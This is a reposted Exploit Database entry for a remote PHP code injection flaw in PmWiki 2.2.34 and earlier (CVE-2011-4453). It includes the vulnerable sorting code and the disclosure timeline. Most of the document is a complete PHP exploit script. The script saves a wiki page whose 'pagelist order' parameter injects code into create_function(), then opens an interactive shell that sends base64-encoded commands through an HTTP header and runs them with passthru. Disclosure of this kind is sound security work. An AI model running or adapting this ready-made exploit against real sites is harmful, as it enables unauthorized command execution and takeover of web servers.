PmWiki 2.2.34 – ‘pagelist’ Remote PHP Code Injection (1)

Exploit Database
144 阅读

作者： EgiX

日期： 2011-11-23
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18149/

100

101

102

103

104

<?php

-------------------------------------------------------------

PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit

-------------------------------------------------------------

author...............: Egidio Romano aka EgiX

mail.................: n0b0d13s[at]gmail[dot]com

software link........: http://www.pmwiki.org/

affected versions....: from 2.0.0 to 2.2.34

+-------------------------------------------------------------------------+

| This proof of concept code was written for educational purpose only.|

| Use it at your own risk. Author will be not responsible for any damage. |

+-------------------------------------------------------------------------+

[-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php

452.$code = '';

453.foreach($opt['=order'] as $o => $r) {

454.if (@$PageListSortCmp[$o])

455.$code .= "\$c = {$PageListSortCmp[$o]}; ";

456.else

457.$code .= "\$c = @strcasecmp(\$PCache[\$x]['$o'],\$PCache[\$y]['$o']); ";

458.$code .= "if (\$c) return $r\$c;\n";

459.}

460.StopWatch('PageListSort sort');

461.if ($code)

462.uasort($list,

463. create_function('$x,$y', "global \$PCache; $code return 0;"));

464.StopWatch('PageListSort end');

Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used

in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.

Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable.

[-] Disclosure timeline:

[09/11/2011] - Vulnerability discovered

[11/11/2011] - Issue reported to http://www.pmwiki.org/wiki/PITS/01271

[11/11/2011] - Version 2.2.35 released: http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235

[12/11/2011] - CVE number requested

[15/11/2011] - Assigned CVE-2011-4453

[23/11/2011] - Public disclosure

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);

return stream_get_contents($sock);

}

print "\n+------------------------------------------------------------+";

print "\n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |";

print "\n+------------------------------------------------------------+\n";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /pmwiki/\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$phpcode = "']);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(___);die;#";

$payload = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)";

$packet= "POST {$path}pmwiki.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match("/Location/", http_send($host, $packet))) die("\n[-] Edit password required?!\n");

$packet= "POST {$path}pmwiki.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Content-Length: 11\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\nn=Cmd.Shell";

while(1)

{

print "\npmwiki-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

$response = http_send($host, sprintf($packet, base64_encode($cmd)));

preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}